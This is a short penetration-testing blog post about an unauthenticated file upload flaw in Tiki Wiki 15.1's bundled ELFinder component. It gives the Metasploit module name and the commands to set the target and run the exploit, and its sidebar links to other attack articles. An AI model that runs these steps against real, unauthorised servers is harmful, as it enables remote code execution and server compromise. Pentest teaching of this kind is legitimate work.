Pages

  • Home
  • Author
skip to main | skip to sidebar

Hacking Articles|Raj Chandel's Blog

RSS Feed

Hack Web Server using Tiki Wiki Unauthenticated File Upload Vulnerability

at 8:03 AM Saturday, July 16, 2016
This module exploits a file upload vulnerability in Tiki Wiki <= 15.1 which could be abused to allow unauthenticated users to execute arbitrary code under the context of the web server user. The issue comes with one of the 3rd party components. Name of those components is ELFinder -version 2.0-. This component comes with default example page which demonstrates file operations such as upload, remove, rename, create directory etc. Default configuration does not force validations such as file extension, content-type etc. Thus, unauthenticated user can upload PHP file. The exploit has been tested on Debian 8.x 64-bit and Tiki Wiki 15.1.

Exploit Targets
Tiki Wiki 15.1

Requirement
Attacker: kali Linux
Victim PC: Tiki Wiki 15.1


Open Kali terminal type msfconsole


Now type use exploit/unix/webapp/tikiwiki_upload_exec
msf exploit (tikiwiki_upload_exec)>set targeturi /kiki/
msf exploit (tikiwiki_upload_exec)>set rhost 192.168.0.11 (IP of Remote Host)
msf exploit (tikiwiki_upload_exec)>set rport 81
msf exploit (tikiwiki_upload_exec)>exploit          

Labels: Kali Linux, Penetration Testing

0 comments:

Post a Comment

Newer Post Older Post Home
Subscribe to: Post Comments (Atom)

Labels

  • Batch File tricks (8)
  • crytography (3)
  • CTF (100)
  • Cyber Forensics Tools (56)
  • DLL Hacking (6)
  • footprinting (2)
  • Google Hacking (1)
  • Hacking Tools (12)
  • Kali Linux (370)
  • others (5)
  • Penetration Testing (1320)
  • redteam (9)
  • Stegnography (7)
  • Windows Hacking (6)

Popular Posts

  • ADCS ESC10 - Weak Certificate Mapping
     
  • 64-bit Linux Assembly and Shellcoding
    Introduction Shellcodes are machine instructions that are used as a payload in the exploitation of a vulnerability. An exploit is a small ...
  • GreatSct - An Application Whitelist Bypass Tool
    While wrting Applocker bypass series , we found a new tool which was especially design for bypassing whitelisting application.  So Idecid...
  • Abusing AD-DACL : Generic ALL Permissions
      In this post, we explore the exploitation of Discretionary Access Control Lists (DACL) using the Generic ALL permission in Active Director...
  • Active Directory Pentesting Using Netexec Tool: A Complete Guide
    Active Directory (AD) penetration testing is an essential part of the security assessment of enterprise networks. The Netexec tool offers a...
  • MSSQL for Pentester: NetExec
    NetExec (nxc) is a powerful network exploitation tool developed as a modern successor to CrackMapExec (CME), which was widely used by penetr...
  • Credential Dumping: GMSA
    Abusing AD-DACL: ReadGMSAPassword ReadGMSAPassword Attack is a technique where attackers abuse misconfigured Group Managed Service Account...
  • Credential Dumping: AD User Comment
    In this article, we shall explore different tools & techniques that help us enumerate Active Directory (AD) users' passwords using w...
  • Abusing AD Weak Permission Pre2K Compatibility
    Pre2K (short for "Pre-Windows 2000") Active Directory misconfigurations often stem from overlooked legacy settings in Windows en...
  • Shadow Credentials Attack
    In this post, we explore the exploitation technique known as the Shadow Credentials attack. This attack leverages the mismanagement or explo...
 

Copyright 2010 Hacking Articles|Raj Chandel's Blog. Theme zBench Bloggerized by Who Got Eliminated for Sports Master

Δ Top